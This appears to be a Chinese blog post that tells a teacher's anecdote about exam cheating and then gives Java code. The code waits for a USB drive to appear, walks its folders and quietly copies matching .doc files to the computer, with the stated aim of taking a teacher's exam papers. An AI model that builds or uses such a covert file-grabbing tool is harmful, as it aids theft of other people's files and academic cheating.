在大一將近考試的時(shí)候,聽王金亮王老師講學(xué)生考試作弊的事。其中講了一個(gè)小故事挺有意思,一般教室里都會(huì)有一臺(tái)電腦,老師來上課的時(shí)候一般就把自己的課件放在自己U盤里然后帶過來,插到電腦里就可以講課了,然后有學(xué)生就想寫個(gè)程序把老師U盤里的試卷給拷出來。當(dāng)然老師講的時(shí)候順便也說了,他的U盤有加固加密啥的,不會(huì)被拷出去。這里呢,我就把這個(gè)小程序?qū)懗鰜怼?/p>
思路
- 把文件從U盤拷進(jìn)電腦,說到底就是文件復(fù)制粘貼,不同的是這件事由程序來做。
- 復(fù)制粘貼的前提是遍歷U盤的所有文件找到合適的,遍歷的過程中,如果是文件夾就繼續(xù)遍歷,如果是文件就進(jìn)行處理。
- 還要考慮的事情是時(shí)刻監(jiān)聽是否有U盤插入,如果有U盤插入,立即啟動(dòng)文件復(fù)制。
- 然后要考慮的事情是對(duì)方U盤里的東西實(shí)在太多,太大,在有限時(shí)間內(nèi)如果先復(fù)制了無用的東西,就有可能耽誤了比較重要的事情。
總結(jié):先看是否插了U盤,插了的話就遍歷U盤里的所有文件,查看是否匹配,匹配了就轉(zhuǎn)移到電腦里。
實(shí)現(xiàn)
文件拷貝
設(shè)置好源文件位置,設(shè)置好目的文件位置就可以復(fù)制了。
//轉(zhuǎn)移操作
private static void transfer(String sourceDir, String targetDir, String filename) {
try {
File target = new File(targetDir + filename);
File source = new File(sourceDir + filename);
//Files類超級(jí)強(qiáng)大
Files.copy(source.toPath(), target.toPath(), StandardCopyOption.REPLACE_EXISTING, StandardCopyOption.COPY_ATTRIBUTES);
} catch (Exception e) {
e.printStackTrace();
}
}
監(jiān)聽操作
這個(gè)需要事先看好插入U盤之后顯示的盤符是什么,如果該盤符存在了,則說明U盤插進(jìn)來了。然后檢查操作每十秒執(zhí)行一次。
public static void main(String[] args) {
while(true) {
try{
File sourceFile = new File(sourceFileStr);
if(sourceFile.exists()) {
traverse(sourceFile);
break;
}
System.out.println("hello");
Thread.sleep(1000 * 10);
}catch(InterruptedException e) {
e.printStackTrace();
}
}
}
遍歷U盤、匹配文件類型
這里就看文件后綴,如果你想要文檔的話,就限定.doc、.docx、.ppt、.xls 、.xlsx等,如果想要圖片就找圖片的后綴等等。
private static void traverse(File root) {
if (root.isDirectory()) {
File[] qsqList = root.listFiles();
for (File file:qsqList) {
traverse(file);
}
}
else {
String regex = "[\\S]+.doc";
Pattern pattern = Pattern.compile(regex);
Matcher matcher = pattern.matcher(root.toString());
if (matcher.matches()) {
System.out.println(root.toString());
int index = root.toString().lastIndexOf("/");
String filename = root.toString().substring(index,root.toString().length());
String sourceDir = root.toString().substring(0, index);
transfer(sourceDir, targetFileStr, filename);
}
}
}
最后
好吧,聽起來很牛逼,實(shí)際上也就這么回事。打完收工~